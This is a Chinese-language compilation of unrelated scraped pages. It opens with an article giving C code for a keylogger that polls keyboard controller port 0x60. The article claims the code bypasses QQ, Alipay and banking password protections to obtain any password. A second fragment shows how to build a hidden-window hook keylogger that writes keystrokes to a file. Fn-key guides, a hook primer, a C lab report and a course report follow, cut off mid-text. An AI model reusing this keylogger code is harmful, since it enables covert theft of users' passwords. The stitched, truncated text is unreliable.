直接访问键盘控制芯片获取键盘记录

直接访问键盘控制芯片获取键盘记录
直接访问键盘控制芯片获取键盘记录

直接访问键盘控制芯片获取键盘记录

键盘是用户和机器之间主要的硬件接口,看看键盘上的那些键就可知道它有多么的复杂了。键盘是我们隐私的源泉,我们各种信息的传递都要通过它。作为用户表现信息的媒介,很多怀有恶意目的的人都想截取我们的键盘输入。目前有很多方法可以做到,比如全局钩子、GetKeyboardStatus()、驱动过滤钩子等,但是如果要截取像QQ这种Hook键盘中断处理程序的保护技术,这些方法都显得无能为力。为此,我将为大家介绍一种直接访问键盘控制芯片的方法,来实现对键盘输入数据的最底层的读取。

如果我们知道了硬件的输入输出地址,就可以直接对它们进行访问了。键盘上有一个称为键盘编码器的处理器(Intel 8048或兼容芯片)专门用来扫描收集所有按键按下和松开的状态数据(即扫描码)。当一个键被按下时,键盘发送的扫描码称为接通扫描码(Make code),或简称为接通码;当一个被按下的键放开时发送的扫描码被称为断开扫描码(Break code),或简称为断开码。

主机键盘控制器专门用来对接收到的键盘扫描码进行解码。因为每个按键的接通和断开码都是不同的,所以键盘控制器根据扫描码就可以确定用户在操作哪个键了。整个键盘上所有按键的接通和断开码就组成了键盘的一个扫描码集(Scan Code Set)。根据电脑的发展,目前已有三套扫描码集可供使用,它们分别是第一套扫描码集,原始XT键盘扫描码集,目前的键盘已经很少发送这类扫描码;第二套扫描码集,现代键盘预设使用的扫描码集,通常称为AT键盘扫描码集;第三套扫描码集,PS/2键盘扫描码集,原IBM推出PS/2微处理机时使用的扫描码集,已很少使用。

AT键盘预设发送的是第二套扫描码集。虽然如此,主机键盘控制器为了与PC/XT机的软体兼容起见,仍然会把所有接收到的第二套键盘扫描码转换成第一套扫描码,因此,我们从键盘控制器获取的通常为第一套扫描码集。

当一个键被按下时,我们可以从键盘控制器接收到一个XT键盘接通码。这个扫描码仅表示键盘上某个位置处的键被按下,但还没有对应到某个字符代码上,接通码通常都是一个位组宽度。例如,按下键“A”的接通码是30(0x1E)。当一个按下的键被松开时,从键盘控制器端口收到的就是一个断开码。对于XT键盘(即键盘控制器程序设计端口收到的扫描码),断开码是其接通码加上0x80。例如,上述“A”键的断开码就是“0x80 + 0x1E = 0x9E”。

表1列出了Scan Code Set 1中的所有扫描码,我们写程序时需要用到!

表1

剩下的问题就是我们如何获取键盘的扫描码,并且将它们翻译出来了。比如我们如何获取扫描码1E,并且能将它翻译为A键被按下。键盘控制芯片给我们使用的PC机提供了两个可访问的I/O端口,一个是0x60,一个是0x64,我们能够读取键盘缓冲区中的数据,也能发送控制命令。打开设备管理器,如图1所示,我们可以清晰地看到它们。0x60为数据端口,0x64 为命令端口。

图1

通常情况下,我们从0x60读取的数据就是键盘的扫描码,而从0x64读取的数据为键盘的状态字。状态字的各位含义如下:

Bit7: 从键盘获得的数据奇偶校验错误;

Bit6: 接收超时,置1;

Bit5: 发送超时,置1;

Bit4: 为1,键盘没有被禁止。为0,键盘被禁止;

Bit3: 为1,输入缓冲器中的内容为命令,为0,输入缓冲器中的内容为数据;

Bit2: 系统标志,加电启动置0,自检通过后置1;

Bit1: 输入缓冲器满置1,i8042 取走后置0;

Bit0: 输出缓冲器满置1,CPU读取后置0。

接下来我们再说一下端口的操作方法。Windows NT系统是不允许直接操作端口的,只有通过驱动程序才能实现,可供选择的驱动程序有免费开源的winio、windriver等。由于我的毕业设计涉及到视频采集卡驱动程序的设计,所以就以windirver为例来说明端口操作方法了。安装好windriver之后,在“\samples \basic_io\”目录下有一个basic_io.c,我们可以直接使用它提供的端口操作函数读写端口。注意修改IO_init()函数添加如下语句:(责任编辑:admin)

WD_LICENSE lic;

strcpy(lic.cLicense,你的licenseString);

WD_License(hWD, &lic);

这样,我们使用的windrier驱动就去掉了30天试用期限的限制了。它可以提供的函数如下,有了这些函数,我们就可以直接读写端口了。

BYTE IO_inp(DWORD dwIOAddr)

//从dwIOAddr读取一个字节

WORD IO_inpw(DWORD dwIOAddr)

//从dwIOAddr读取两个字节

DWORD IO_inpd(DWORD dwIOAddr)

//从dwIOAddr读取四个字节

void IO_outp(DWORD dwIOAddr, BYTE bData)

//将一个字节的bData写入dwIOAddr

void IO_outpw(DWORD dwIOAddr, WORD wData)

//将两个字节的bData写入dwIOAddr

void IO_outpd(DWORD dwIOAddr, DWORD dwData)

//将四个字节的bData写入dwIOAddr

为了方便大家测试,我给大家提供一个有趣的例子。通过读写I/O端口控制键盘上的Num Lock、Caps Lock、Scroll Lock这三个LED指示灯,向0x60端口发送控制命令就可以控制它们的亮灭了。控制LED的命令是0xED,我们可以在LED没亮之前(实验之前请先使LED 指示灯关掉)发送0xED命令到0x60端口,然后立即发送另一个BYTE指示设置哪个LED,第2个BYTE用最低的3个字节设置这三个指示灯。问题是这种直接的方法没有考虑键盘控制器是否准备好接收命令。通常情况下,我们必须等待芯片准备接收命令时再发送命令控制字。如果芯片没有准备好,将不会产生任何效果。另外,即使我们读取0x64端口的状态字,确定键盘处于准备接收命令状态,但是我们也不能保证随后发送控制命令的操作不会受到键盘本身驱动程序读写端口引起的干扰。因此,我们可以采用如下的测试程序。

void light()

{

BYTE status;

while(1)

{

status=IO_inp( 0x00000064);

printf("%x",status);

IO_outp( 0x00000060,0xed);

IO_outp( 0x00000060,0x07);

Sleep(100);

}

}

这样,键盘正确接收到我们控制命令的概率就比较大了。程序运行几十秒,就会发现键盘上的三个指示灯突然全部亮了起来。

罗嗦了这么多,大家对端口的操作应该有了基本了解了,下面我们开始分析计算机是如何处理我们的按键操作的。当我们按下或者释放某一按键时,键盘控制器将会在IRQ1号线上送出中断信号,8259A中断控制器将此中断信号与其它外部设备通过其余的IRQ线送来的中断信号进行判优、排队,最后将此信息送给CPU。CPU在一条指令运行结束后,会查询一下是否有中断信号送来,如果此时发现有中断信号送来,就会通过此中断信号的中断向量在中断描述符表中查询应当使用哪一个中断处理程序。当找到中断处理程序后,CPU将调用

此中断处理程序进行中断处理。注意在键盘中断处理程序之前,键盘扫描码已经被放到输出缓冲区中(0x60),中断处理程序所要作的就是从输入缓冲区拿走数据并且翻译数据。所以我们可以直接读取输出缓冲区,即0x60端口直接获取键盘数据的扫描码,并且不会干扰中断处理程序的正常工作。注意,我们在轮询扫描码时最好不要读取0x64端口,尽管从该端口可以读取键盘输入输出缓冲区的状态信息(满或空),但是从0x64读取状态字会引起0x60端口上数据的清除,可能会导致键盘驱动无法读取输入数据。

尽管键盘控制器提供了很多操作命令,但我们最好不要往0x60或0x64端口直接写入数据,否则可能产生意想不到的结果,比如IO_outp( 0x00000064,0xfe)操作将会引起操作系统的立即重启(警告,实验前请先做好保存工作,造成文件未保存数据丢失可别说我没提醒哦!),效果如同手动按了机箱上的Reset键,这是由于键盘控制器可以直接控制CPU Reset管脚电平。

有了以上知识,我们就可以着手写一个直接读取键盘控制寄存器的键盘记录程序了。因为我们要将扫描码翻译出来,所以我使用make code作为数组下标索引打印键的名称。

char

keycode[55][5]={"","ESC","1","2","3","4","5","6","7","8","9","0","-","=","BSP","TAB","Q"," W","E","R","T","Y","U","I","O","P","[","]","ENT","LCT","A","S","D","F","G","H","J","K","L"," ;","'","`","LSH","\\","Z","X","C","V","B","N","M",",",".","/","RSH","*","LAL","SPA","CAP","F1 ","F2","F3","F4","F5","F6","F7","F8","F9","F10","NUM","SCO","7","8","9","-","4","5","6","+ ","1","2","3","0","."};

这里我只定义了前53个扫描码的键名称,对于一般的只记录字母、符号的键盘记录,这些信息已经足够了。以下为从0x60轮询扫描码的程序代码。

void Log()

{

BYTE retData;

BYTE keyDown;//键按下数据

BYTE keyUp;//键弹起数据

BYTE bCanLog1=1;

BYTE bCanLog2=1;

while(1)

{

retData=IO_inp( (DWORD)0x00000060);

if(retData==0x00||retData==0xff||retData==0xaa||retData==0xee||retData==0xf0||ret Data==0xfa||retData==0xfe||retData==0xfc)

{

Sleep(50);

continue;

//非扫描码数据的过滤,可以根据情况添加自己不需要的按键信息(责任编辑:admin)

}

//键按下产生make code,键放开产生break code,make code最高位为0。keycode使用make code作为索引打印按键

if(!(retData&0x80)) //有键被按下

keyDown=retData;

}//有键放开!retData第7位为1!我们使用make code记录键值,make code第7位为0!if(retData&0x80)

{

keyUp=retData&0x7f;

if(keyUp==keyDown)

{

printf("%s ",keycode[keyDown]);

keyUp=0;

keyDown=1;

}

}

Sleep(50);

}

}

因为程序是从最底层获取键盘扫描码数据的,所以对于使用PS/2键盘的用户,可以截取到他们在任何安全保护情况下的输入信息,包括QQ nProtect技术的安全控件、支付宝安全控件、网上银行安全控件等。鉴于巨大危害性,我这里只提供了演示程序,效果如图2和图3所示。

图2

至于其他更详细的应用,大家可以在我提供的程序的基础上进行扩充。只要我们能够直接访问键盘控制芯片,那么任它再有效的输入保护措施,对我们来说都是如同虚设,想要什么密码就可以获得什么密码。

记一次键盘记录器的编写

新建win32项目 键盘记录器的思路 1.窗口消息处理的框架 一注册窗口类 MyRegisterClass 二实例化并创建窗口 InitInstance 三处理窗口消息 WndProc 2.改造窗口,让它隐藏 3.1 WM_CREATE是窗口创建函数 3.2 WM_DESTROY是窗口关闭函数 建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow); 我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE); 3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控. 那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断 在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE: …………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就

开始 //写我们所要实现的记录功能,我们称之为钩子函数。 以下为建立钩子程序 这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是 直接运行),实现这个功能,我们只要在这里调用函数即可 在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能 接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中, 注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成 extern"C"_declspec(dllexport) bool installhook(); “C”是指这是c语言代码 _declspec是一个函数 dllexport参数是动态库导出 要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下 #pragma comment(lib,"keyhook")//导入动态库 //导入动态库中的函数 //启动钩子 extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数 //关闭钩子 extern"C"_declspec(dllimport) bool uninstallhook(); 然后就开始写钩子程序 要实现以下功能 //获取用户的按键消息 用到SetWindowsHookEx函数,要包含Windows.h的头文件 SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL); 第一个参数代表的是我们要获取键盘的消息 第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam); 在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用 这个功能用如下程序来实现 LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){ char szWriteText[256]; //用来保存标题和文本 char szWindowTitle[256]; //保存标题 char szKeyText[256]; //保存文本 //并同时获取当前窗口的标题

华硕笔记本键盘使用说明

华硕篇 华硕的组合键虽然不是很强大,都是常用的组合键.但比起以前增加了许多功能,而且只有880克的S200来讲,这么小的机有这么多的组合键已经算是难得了. FN+F1:降低屏幕亮度 FN+F2:升高屏幕亮度 FN+F3:等待状态 FN+F4:休眠状态 FN+F5:降低音量 FN+F6:增加音量 FN+F7:静音 FN+F10:切换显示器 FN+F11:等于按下NUM LOCK键 FN+F12:等于按下Scroll lock键 FN+Insert:等于按下打印键(PRINT SCREEN) FN+del:等于按下SysRQ键 FN+向上方向键:等于按下Page Up 键 FN+向下方向键:等于按下Page Down 键 FN+向左方向键:等于按下Page Home键 FN+向右方向键:等于按下Page End键 FN+T:拉伸屏幕 下面为以前的机型S8200快捷键比较简单,大家可以对比一下 FN+F5:增加亮度 FN+F6:减低亮度 FN+F7:关闭/打开屏幕 FN+F8:前换显示器 FN+F9:静音 FN+F10:增加音量 FN+F11:减少音量 FN+F12:等于按下PAUSE间 FN+insert:等于按下num lock键 FN+del:等于按下Scr Lock键 华硕X80系列及华硕F8系列组合键 Fn + F1 进入待机或休眠模式 Fn + F2 开启内置无线网络功能(视选购机型而不同) Fn + F3 E-mail快捷键,开启互联网邮件程序 Fn + F4 因特网快捷键,立即开启互联网浏览器

Fn + F5 调暗液晶显示屏亮度 Fn + F6 调亮液晶显示屏亮度 Fn + F7 液晶屏背光光源开关 Fn + F8 切换液晶显示屏显示,外接显示器或电视 Fn + F9 触摸板锁定快捷键,可以锁定触摸板功能 Fn + F10 静音开关(仅适用于WINDOWS系统下) Fn + F11 降低音量(仅适用于WINDOWS系统下) Fn + F12 提高音量(仅适用于WINDOWS系统下) Fn + Ins 开启或关闭数字键盘功能 Fn + <空格键> 等同于性能设置快捷键,按下后可设置系统性能与省电之间的关系 Fn + C 此组合键可切换屏幕至不同的颜色设置选项,在屏幕画面左上方将出现一些画面 Fn + V 此组合键可以开启摄像头程序 Fn + T 此组合键可开启Power for phone程序

笔记本键盘使用说明

笔记本键盘使用说明 笔记本键盘使用说明 IBM组合键的作用: Fn 键是一个组合键,它自己本身没有用,需要和其他功能键组合起来以迅速改变操作特征,它可以组合的 键在键盘上都用蓝色标注,具体作用为: Fn+F3:关闭计算机显示器,保持黑屏。要再次打开计算机显示器,按任意键或按TrackPoint 指针。如果将交流电源适配器连接到计算机,或从计算机上拆离,也可以打开计算机显示器。这个功能一是为了节省电源,尤其是电池供电时,二是延长液晶屏的寿命。 Fn+F4:让计算机处于待机方式。要返回到正常操作,请单独按Fn 键,而不必按F4 键。(以前在Windows 95 和Windows NT 中称这种方式为暂挂方式),这种情况下,只关闭了显示器和硬盘,仍然有电源消耗,比较适合于在短时间(两小时或更短)不使用笔记本的情况。 Fn+F5:启用/ 关闭计算机内置无线网络设备和蓝牙设备. Fn+F7:在笔记本液晶屏.连接的外接监视器(或投影机)或同时在两者上显示输出第一次按下此组合键将使显示从笔记本液晶屏转换到外接监视器,第二次按此组合键可使显示同时出现在笔记本液晶屏和外接监视器上,第三次按此组合键则又将显示切换到笔记本液晶屏上,即在以下三种方式中轮转:外接监视器(或投影机)==》笔记本液晶屏和外接监视器(或投影机)==》笔记本液晶屏。当笔记本液晶屏和外接监视器上显示不同桌面图像时,或者在某些情况下两个屏幕上显示相同桌面图像但系统分别控制这两个屏幕 的刷新率时,不支持此功能。湖北笔记本论坛华 Fn + F8:如果笔记本液晶屏不能满屏显示,此组合键可在扩展方式和正常方式之间切换计算机屏幕的尺寸。 ( 注:Windows 2000 和Windows XP 不支持此功能 ) Fn+F12:将计算机置于休眠方式。要返回正常运作,请按住电源按钮不超过4 秒。使用此方式,可以完全关闭计算机电源而不必退出应用程序或保存文件。当计算机进入休眠方式时,所有打开的应用程序、文件夹和文件都需保存到硬盘后才能关闭计算机电源。在Windows 2000 和WindowsXP 中使用Fn+F12 来启用休眠方式,须在计算机上IBM PM 设备驱动程序。如果每天都在使用笔记本,那下班的时候不必关闭计算机而是使用这个组合键,可以保持前一天的工作状态。 Fn+Home:调节屏幕亮度。 ThinkPad的液晶屏亮度分七级,每按一次亮度增加一级,到最大亮度后停止; Fn+End:与Fn+Home 是对应键,每按一次亮度降低一级,到最低亮度后停止。调整屏幕亮度主要是为了 在使用电池供电时节省电源。 Fn+PgUp:ThinkLight 灯开关键,按一次打开键盘灯,再按一次关闭。 自己试几次就会了 SONY篇 为SONY的快捷键有很多都在WINDOWS环境才能下使用,所以需要软件支持。例如FN要和其它键组 合使用需要安装HotKey Utility这一软件 FN+ESC:设置为等待状态 FN+F3:静音(只有在WINDOWS有效) FN+F4:弹出音量调节状态条(只有在WINDOWS有效) FN+F5:弹出亮度调节条

消息钩子函数入门篇.docx

消息钩子函数入门篇 Windows系统是建立在事件驱动的机制上的,说穿了就 是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词, 日志监视等等。可见,利用钩子可以实现许多特殊而有用的功能。因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。 钩子的类型 一.按事件分类,有如下的几种常用类型 (1)键盘钩子和低级键盘钩子可以监视各种键盘消 /息、O (2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。 (3)外壳钩子可以监视各种Shell事件消息。比如启动和关闭应用程序。 (4)日志钩子可以记录从系统消息队列中取出的各种 事件消息。 (5)窗口过程钩子监视所有从系统消息队列发往目标窗口的

消息。 此外,还有一些特定事件的钩子提供给我们使用,不列举。 下面描述常用的Hook类型: 1、WH_CA LLWNDPROC 和WH_CALLWND PROCRETHoo ks WH_CAL LWNDPROC 和W H_CALLWNDP ROCRETHook s 使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_C ALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALL WNDPR0 CR ETHook 子程。W H_CALLWNDP ROCRETHook 传递指针到CWPRE TSTRUCT 结构,再传递到Hook 子程。CWPRETSTR UCT 结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。 2、WH_CB THook 在以下事件之前,系统都会调用WH_CBTHoo k子程,这些事件包括: 1.激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件; 2.完成系统指令; 3.来自系统消息队列中的移动鼠标,键盘事件; 4.设置输入焦点事件; 5 ?同步系统消息队列事件。

C语言实验二程序、总结 顺序结构与输入、输出方法

实验二顺序结构与输入/输出方法 一实验目的 1 学会使用C的有关算术运算符,以及包含这些运算符的表达式,特别是自增减运算 符的使用。 2 掌握C语言中赋值语句的使用。 3 掌握C语言中各种数据的输入/输出方法,能正确使用基本格式符。 二实验内容 1 输入下面的程序: #include main() { int i,j,m,n; i=8;j=10; printf("%d,%d,%d,%d\n",i,j,m,n); /* 第5行 */ m=++i; n=j++; /* 第6行 */ printf("%d,%d,%d,%d\n",i,j,m,n); /* 第7行 */ } 运行程序,分析第5行和第7行输出的不同。 调试分析:因为第五行的m,n没有赋初值,所以对应的m,n输出是乱的数字,第七行的m,n在第六行已赋初值,且i和j也相应的自加,结果如下图 ⑴将第6行按如下修改以后再运行,分析第5行和第7行输出的不同。 m=i++; n=++j; /* 第6行 */ 调试分析:m=i++是(m=i,i=i+1)。 n=++j;是(j=j+1,n=j)结果如 下图 ⑵在程序最后增加两行,记录并分析该行的输出。 i=j=8; /* 第8行 */ printf("%d,%d,%d,%d\n",i,++i,j,j++); /* 第9行 */ 调试分析:结果如下图

2 运行以下程序,并分析输出结果 #include main() { int a=-2; long b; float c; b=20000+20000; c=1.23e-1; printf("a=%d,%3d,%-3d,b=%Ld\n",a,a,a,b); printf("a=%o,%x,%u\n",a,a,a); printf("d=%f,%8.2f,%.2f\n",c,c,c); printf("d=%e,%8.2e,%g\n",c,c,c); printf("%c,%s,",'\072',"China"); printf("|-%5.2s|%5.2s|\n","China","China"); } 调试分析: 这个实验主要考察整型,长整型和浮点型等之间的输出,对浮点型小数点左右个数的考察,输出结果如下图 3 按格式要求输入、输出数据。 #include main() { int a,b; float x,y; char c1,c2; scanf("a=%d,b=%d",&a,&b); scanf("%f,%e",&x,&y); scanf("%c%c%c",&c1,&c1,&c2); /* 第8行 */ printf("a=%d,b=%d,x=%f,y=%f,c1=%c,c2=%c\n",a,b,x,y,c1,c2); } 运行该程序,按如下方式在键盘上输入数据,写出输出的结果。 a=3,b=7 85,71.82 Aa 调试分析:主要是考察对输入输出的理解,以及输入输出要注意的问题,结果

笔记本键盘操作方法

笔记本键盘操作方法 通用键盘快捷键 CTRL+C(复制) CTRL+X(剪切) CTRL+V(粘贴) CTRL+Z(撤消) DELETE(删除) SHIFT+DELETE(永久删除所选项,而不将该项放入“回收站”) 按住CTRL 键拖动项(复制所选项) 按住CTRL+SHIFT 拖动项(创建所选项的快捷方式) F2 键(重命名所选项) CTRL+向右键(将插入点移动到下一个单词的开头) CTRL+向左键(将插入点移动到前一个单词的开头) CTRL+向下键(将插入点移动到下一段的开头) CTRL+向上键(将插入点移动到前一段的开头) 按住CTRL+SHIFT 使用任一箭头键(突出显示文本块) 按住SHIFT 使用任一箭头键(选择窗口中或桌面上的多个项,或者选择文档中的文本)CTRL+A(全选) F3 键(搜索文件或文件夹)----Alt+F ALT+ENTER(查看所选项的属性) ALT+F4(关闭活动项,或者退出活动程序) ALT+空格键(打开活动窗口的快捷菜单) CTRL+F4(关闭允许您同时打开多个文档的程序中的活动文档) ALT+TAB(在打开的各项之间切换) ALT+ESC(按各项打开时的顺序循环切换这些项) F6 键(循环切换窗口中或桌面上的屏幕元素) F4 键(在“我的电脑”或“Windows 资源管理器”中显示“地址”栏列表) SHIFT+F10(显示所选项的快捷菜单)----也就是右键菜单

ALT+空格键(显示活动窗口的系统菜单) CTRL+ESC(显示“开始”菜单) ALT+菜单名中带下划线的字母(显示对应的菜单) 已打开的菜单上命令名中带下划线的字母(执行对应的命令)----先按一下alt,显示对应项被指定的字母,操作完成后,再按一下alt,隐藏各项对应的字母 Start+downarrow : 最小化 Start+uparrow : 最大化 F10 键(激活活动程序中的菜单栏) 向右键(打开右侧的紧邻菜单,或者打开子菜单) 向左键(打开左侧的紧邻菜单,或者关闭子菜单) F5 键(更新活动窗口)---- 常用的是ie浏览器中的刷新页面 要选中文本,可以用alt+方向键,也可以用shift+方向键; 再选择文本的时候,如果用end键或者home键,可以选中到行尾或行首的所有字符 BACKSPACE(在“我的电脑”或“Windows 资源管理器”中查看上一级的文件夹) ESC(取消当前任务) 按住SHIFT 键将CD-ROM 插入CD-ROM 驱动器(防止CD-ROM 自动播放) 对话框的键盘快捷键 CTRL+TAB(向前切换各张选项卡) CTRL+SHIFT+TAB(向后切换各张选项卡) TAB(向前切换各选项) SHIFT+TAB(向后切换各选项) ALT+带下划线的字母(执行对应的命令或选择对应的选项) ENTER(执行活动选项或按钮的命令) 空格键(如果活动选项是复选框,则选中或清除该复选框) 箭头键(如果活动选项是一组选项按钮,则选中按钮)

第4章钩子函数和窗口子类化

第4章钩子函数和窗口子类化 钩子是操作系统消息处理的一种机制。通过钩子,应用程序可以安装一个钩子回调过程让系统调用,从而监视系统中的消息队列,在这些消息到达目标窗口之前对这些消息进行处理。 本章主要介绍钩子函数的基本概念以及几种常用钩子的应用举例。 4.1 钩子函数 早在Windows3.x的时候,就有了钩子函数,它经历了Windows9x/NT/2000/XP/2003各个操作系统,始终保持了最大的兼容性。可以说大部分的钩子函数适用于现在所有的Win32操作系统,钩子函数在系统编程方面有着广泛的应用前景。 首先应该承认钩子会降低系统的性能,因为它增加系统处理每一个消息的开销,所以用户除非必要才安装钩子,而且还要尽可能早地去除钩子。 操作系统支持多种类型的钩子,每种类型都提供了它特有的消息处理机制,比如应用程序使用WH_MOUSE钩子只能监视鼠标的消息队列。对于每种类型的钩子,系统都维护一个各自独立的钩子链,钩子链是一个指向用户提供的回调函数钩子过程的链表指针。当与特定类型的钩子相关的窗口消息发生时,系统会把消息依次传递给钩子链中的每一个回调过程,传递的过程由用户定义的回调过程实现。一般情况下,用户提供的钩子回调过程必须调用钩子链中的下一个回调过程。否则钩子处理可能会中断,出现不可预测的结果。钩子过程可以监视窗口消息,也可以修改甚至停止钩子消息的继续传递,不让它到达钩子链中的下一个目标过程。 钩子过程需要用户调用SetWindowsHookEx函数进行安装。钩子过程一般遵循下面的调用规范。 LRESULT CALLBACK HookProc(intnCode,WPARAMwParam,LPARAMlParam);其中HookProc是应用程序提供的函数名。nCode参数是一个钩子标识码,钩子过程会利用它决定下一步进行的操作。这个标识码的值与安装的钩子类型有关。每种类型都有它的自身定义。后面两个参数的定义依赖于nCode参数,一般用于存放与窗口消息相关的内容。SetWindowsHookEx函数会自动安装一个钩子过程,这个过程位于钩子链表的头部,最后安装的钩子函数总是最先得到响应。前面的钩子处理过程可以决定是否调用钩子链中的下一个过程,这可以通过调用CallNextHookEx函数实现。 注意:某些钩子类型能够监视发生的窗口消息系统自动把消息依次传递给钩子链中的每一个钩子过程,而不管用户是否调用CallNextHookEx函数。 全局钩子会监视同一桌面环境下所有的窗口消息,而线程钩子只能监视单个线程内发生的消息。由于全局钩子能够在同一桌面的所有应用环境下调用,所有这个钩子过程必须在一个动态链接库中实现。 注意:全局钩子一般只用于调试目的,应尽可能地避免使用。全局钩子会显著地降低系统的性能,增加系统的开销,并可能会与安装同一全局钩子的应用程序发生冲突。钩子函数的处理应该尽可能简单,并要快速退出。对于处理复杂的过程,可以借助于发送异步处理窗口消息的方式实现。 操作系统提供了以下一些钩子,这些钩子允许用户监视系统消息处理的某一个方面。如表4-1所示: 安装钩子函数要用到SetWindowsHookEx函数。对于全局钩子而言,钩子过程必须在一个动态链接库模块中实现,这个过程必须作为动态链接库的输出函数,以便能够在安装钩子程序中通过调用LoadLibrary/GetProcAddress函数获得回调过程的地址,然后把回调函数的地址传递给SetWindowsHookEx函数。 HOOK PROC hkprcSys Msg; Static HINSTANCE hinstDLL; Static HHOOK hhookSysMsg; hinstDLL=LoadLibrary((LPCTSTR)"c:\\windows\\sysmsg.dll");

简单易上手 两招轻松禁用笔记本自带键盘方法

简单易上手两招轻松禁用笔记本自带键盘方法最近我的朋友,由于喝水时不小心,将大量水倒入到键盘里面,之后将笔记本键盘的水清理干净后,使用吹风机将其键盘吹干,但之后虽然电脑使用没有问题,但却有部分笔记本自带键盘按键失灵,于是笔者决定购买一个USB键盘,将把键盘直接放在原来键盘上操作,但总容易碰到底部自带键盘,由于影响操作,于是决定把笔记本自带键盘给禁用掉,但却找不到方法,网上也很难找到类似的技巧,最终想让笔者支招。 可能很多朋友会说,禁用掉笔记本自带键盘还不简单吗,直接将键盘驱动卸载了不久OK 了吗?如果你这么想,那就错了,开始朋友也是这么觉得的,但在设备管理器中卸载了笔记本键盘驱动之后,重启电脑又回原样了,因为笔记本键盘是免驱动的,内部都自带有。那么如何禁用笔记本键盘呢,下面笔者介绍一些可行的方法给大家,希望对朋友有帮助。

如何禁用笔记本键盘 禁用笔记本自带键盘方法一:把键盘内部排线拔掉 笔记本键盘内部其实有一根排线与主板相连,我们可以拆来笔记本,将键盘排线拔掉即可禁用笔记本自带键盘了。这种方法在百度搜索下很多人都这么回答,但现实问题是很多朋友笔记本还属于保修期,并且笔记本拆卸并不轻松,不小心拆机也很容易损坏手机,因此这种方法不值得推荐。 禁用笔记本自带键盘方法二:为笔记本键盘选择不兼容驱动 前面我们也提到,卸载掉笔记本键盘驱动之后,重启电脑后又会自动安装好,那么怎么办呢?我们不妨使用如下方法禁用笔记本自带键盘,这种方法相当于给笔记本键盘更换不兼容驱动,导致笔记本键盘不能用,从而达到禁用的目的,非常值得推荐,操作方法如下:

⒈进入计算机管理里的“设备管理器”,找到键盘设备,如下图: 设备管理器中找到键盘设备 ⒉如上图,在键盘设备上点击鼠标右键选择“更新驱动程序软件”,然后在弹出的“硬件更新向导”,之后我们选择“否,暂时不”,然后下一步,如下图:

综合课程设计报告--键盘输入截获系统的设计与实现

综合课程设计报告--键盘输入截获系统的设计与实现

键盘输入截获系统的设计与实现 摘要 Windows系统键盘截获系统,在我们的生活中是很常见的,比如在军方的某些系统中,为确保某些机密信息不被泄露出去,就要求在工作人员在于外界交流的时候,无意中输出的可能隐含机密信息不被发送出去,此时可以设置关键字,使用钩子来屏蔽这些信息,不让其发送出去,这样就很好的杜绝了机密信息的泄露的发生,提高军方系统的安全性,以上是一个很常见的例子,那么当提及到Windows系统信息截获,不得不想到动态链接库和钩子,动态链接库在Windows 系统中无处不在,编程过程中,调用的所有的API都是从系统动态链接库导出的,实际上,不使用动态链接库几乎是不可能的,因为Windows 提供给编程人员的几乎所有功能都驻留在动态链接库中。 Windows 应用程序的运行模块是基于消息驱动的,任何线程只要注册了窗口类都会有一个消息队列来接收用户的输入消息和系统消息。为了取得特定线程接收或者发送的消息,就要用到Windows提供的钩子。Windows钩子广泛应用

于各种检测侦查程序中,如输入监视、API截获等。一般的钩子函数都必须写在动态链接库中,以便注入到其进程。 一、需求分析 1、实验要求: 设计一个基于Windows或Linux的键盘输入捕获系统,对特定键盘输入进行检测过滤。要求如下: (1)设计一个键盘钩子程序捕获键盘动作,捕获任意窗口上的键盘输入,并进行记录; (2)能监控QQ、MSN、word、Excel、记事本、IE网页等应用程序; (3)设置一些关键词,根据键盘输入,设计一种关键词检测的方法,能在记录的键盘输入中检测出关键词出现的位置; (4)对输入的关键词,进行过滤,阻止其在相关的应用程序中输出; 2、实验环境: Microsoft Visual studio 2010 二、实验分组情况: 三、实验原理概述: 钩子:钩子是Windows中可以拦截事件的一种机制,可以指定一个函数作为特定类型的 被拦截事件的钩子过程。钩子过程可以对 拦截的每个事件进行处理。不同类型的钩 子可以为消息处理机制的不同方面提供 访问,例如,WH_MOUSE钩子可以监视与 鼠标操作相关的消息。系统为每一个类型 的钩子维护一个独立的钩子链,其中包含 指定一组作为钩子过程的回调函数指针。 当与指定类型的钩子相关联的消息发生

各种笔记本电脑键盘切换键FN键的方法

